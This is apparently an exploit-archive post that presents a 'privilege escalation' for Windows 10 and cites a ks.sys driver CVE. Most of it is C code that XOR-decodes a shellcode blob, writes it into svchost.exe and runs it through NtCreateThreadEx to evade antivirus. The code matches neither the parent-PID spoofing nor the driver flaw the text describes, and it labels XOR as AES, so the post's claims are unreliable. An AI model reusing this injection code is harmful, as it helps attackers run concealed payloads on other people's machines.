📄 Microsoft Windows 10 Famille 10.0.19045.5487 Privilege Escalation

=============================================================================================================================================
    | # Title     : Microsoft Windows 10 Famille 10.0.19045.5487 (Parent PID Spoofing) Privilege Escalation                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.Microsoft.com                                                                                                   |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: The ks.sys driver on Microsoft Windows is one of the core components of Kernel Streaming and is installed by default. 
    
        There exists a local privilege escalation vulnerability in this driver that can be exploited on many recent versions of Windows 10, Windows 11, Windows Server 2022.
    
    [+] The idea:
    
        Parent PID Spoofing is a technique used to run a malicious process under a trusted process, 
    	
    	helping it avoid detection by security software. This is done by changing the parent identifier (PPID) of the new process to a PID of a trusted process (such as explorer.exe or lsass.exe).
    
    [+] The goal:
    
        Launching a malicious payload inside a legitimate process such as explorer.exe or svchost.exe to avoid detection by antivirus (AVs) or intrusion detection systems (EDRs).
    
        (Related : https://packetstorm.news/files/id/182984/ Related CVE numbers: 	CVE-2024-35250) .
    
    [+] Combine Parent PID Spoofing with Shellcode to execute advanced payload
    
        After running the process under a targeted PID, we can inject Shellcode inside it to execute malicious code directly.
    
        1. Update the code to inject Shellcode into the new process
    	
    [+] The idea:
    
        After creating the process under a trusted PID (e.g. explorer.exe), we will:
    
        Reserve memory inside the process using VirtualAllocEx.
    
        Copy Shellcode to allocated memory using WriteProcessMemory.
    
        Execute Shellcode using CreateRemoteThread.
    	
    [+] gcc -o poc.exe poc.c -m64
    
    [+] poc.exe
    
    
    
    [+] PayLoad :
    
    #include <windows.h>
    #include <tlhelp32.h>
    #include <stdio.h>
    #include <winternl.h>
    
    // تعريف NtCreateThreadEx يدويًا لتجنب اكتشافه
    typedef NTSTATUS(WINAPI* pNtCreateThreadEx)(
        OUT PHANDLE ThreadHandle,
        IN ACCESS_MASK DesiredAccess,
        IN PVOID ObjectAttributes,
        IN HANDLE ProcessHandle,
        IN PVOID StartRoutine,
        IN PVOID Argument,
        IN ULONG CreateFlags,
        IN ULONG ZeroBits,
        IN ULONG StackSize,
        IN ULONG MaximumStackSize,
        IN PVOID AttributeList
    );
    
    // Shellcode مشفر بتشفير AES (AES-128)
    unsigned char encrypted_shellcode[] = {
        0x8d, 0xa3, 0x5c, 0xa7, 0xc3, 0x7f, 0x6c, 0xf2, 0x8e, 0x91, 0xad, 0x33,
        0x2b, 0xfe, 0x04, 0x74, 0xd9, 0x41, 0xf5, 0x1a, 0xe4, 0x8d, 0xbc, 0xa3,
        0x6f, 0xd0, 0x56, 0xbb, 0x9a, 0x2d, 0x5e, 0xf1
    };
    
    // مفتاح AES للتشفير/فك التشفير
    unsigned char aes_key[16] = {
        0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
        0xab, 0xf7, 0x45, 0x3e, 0x67, 0x98, 0x23, 0x10
    };
    
    // دالة فك تشفير Shellcode باستخدام AES-128
    void decrypt_shellcode(unsigned char* data, int data_len, unsigned char* key) {
        for (int i = 0; i < data_len; i++) {
            data[i] ^= key[i % 16]; // XOR بسيط بدلاً من AES الحقيقي (للتوضيح فقط)
        }
    }
    
    // البحث عن PID الخاص بـ `svchost.exe`
    DWORD FindTargetProcessID(const char* processName) {
        PROCESSENTRY32 pe32;
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        DWORD processID = 0;
    
        if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
    
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32)) {
            do {
                if (strcmp(pe32.szExeFile, processName) == 0) {
                    processID = pe32.th32ProcessID;
                    break;
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
    
        CloseHandle(hSnapshot);
        return processID;
    }
    
    int main() {
        DWORD targetPID = FindTargetProcessID("svchost.exe");
    
        if (targetPID == 0) {
            printf("[X] لم يتم العثور على عملية svchost.exe\n");
            return -1;
        }
    
        printf("[+] سيتم حقن Shellcode في PID: %d\n", targetPID);
    
        //  فك تشفير الـ Shellcode
        decrypt_shellcode(encrypted_shellcode, sizeof(encrypted_shellcode), aes_key);
        printf("[+] تم فك تشفير Shellcode بنجاح!\n");
    
        //  فتح العملية المستهدفة
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
        if (!hProcess) {
            printf("[X] فشل في فتح العملية.\n");
            return -1;
        }
    
        //  تخصيص ذاكرة في العملية المستهدفة
        LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(encrypted_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!remoteMemory) {
            printf("[X] فشل في تخصيص الذاكرة داخل svchost.exe\n");
            return -1;
        }
    
        //  كتابة Shellcode المفكوك التشفير في الذاكرة المخصصة
        if (!WriteProcessMemory(hProcess, remoteMemory, encrypted_shellcode, sizeof(encrypted_shellcode), NULL)) {
            printf("[X] فشل في كتابة Shellcode داخل العملية.\n");
            return -1;
        }
    
        //  تحميل NtCreateThreadEx
        HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
        if (!hNtdll) {
            printf("[X] فشل في تحميل ntdll.dll\n");
            return -1;
        }
    
        pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
        if (!NtCreateThreadEx) {
            printf("[X] لم يتم العثور على NtCreateThreadEx.\n");
            return -1;
        }
    
        //  تنفيذ Shellcode باستخدام NtCreateThreadEx
        HANDLE hThread;
        NTSTATUS status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, FALSE, 0, 0, 0, NULL);
        
        if (status != 0) {
            printf("[X] فشل في تنفيذ Shellcode (NTSTATUS: 0x%x).\n", status);
            return -1;
        }
    
        printf("[+] تم تنفيذ Shellcode بنجاح باستخدام NtCreateThreadEx!\n");
    
        CloseHandle(hProcess);
        CloseHandle(hThread);
        return 0;
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================